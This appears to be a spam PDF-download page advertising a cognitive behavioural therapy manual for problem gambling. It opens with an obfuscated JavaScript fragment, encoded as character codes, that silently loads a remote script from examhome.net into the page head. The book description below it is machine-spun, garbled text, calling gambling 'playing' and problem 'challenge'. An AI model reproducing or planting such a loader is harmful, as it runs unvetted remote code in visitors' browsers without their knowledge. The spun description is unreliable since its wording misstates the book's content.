97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125)); Namrata Raylu,Tian Po Oei's A Cognitive Behavioural Therapy Programme for Problem PDF - Kyrgysztan Book Archive

Namrata Raylu,Tian Po Oei's A Cognitive Behavioural Therapy Programme for Problem PDF

By Namrata Raylu,Tian Po Oei

This ebook is a therapy handbook supplying suggestions for therapists treating consumers with playing addictions.


In this ebook the authors use a cognitive behavioural method and supply a consultation by means of consultation consultant for overcoming challenge playing. crucial issues lined include:




  • assessment and psychoeducation

  • cognitive behavioural recommendations to stabilize gambling

  • identifying and hard considering errors

  • relaxation and imaginal exposure

  • problem fixing and target setting

  • managing unfavorable feelings

  • relapse prevention: keeping a balanced way of life and dealing with excessive probability events


A Cognitive Behavioural treatment Programme for challenge Gambling offers specific info to aid the therapist and buyer comprehend playing behaviours, in addition to useful suggestion on recommendations that may be used with the customer to alter those behaviours.


This sensible advisor contains handouts and workouts that may be downloaded via buyers of the print version. it is going to supply invaluable suggestions for dependancy counsellors and therapists worldwide.

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Read Online or Download A Cognitive Behavioural Therapy Programme for Problem Gambling: Therapist Manual PDF

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A Cognitive Behavioural Therapy Programme for Problem Gambling: Therapist Manual by Namrata Raylu,Tian Po Oei


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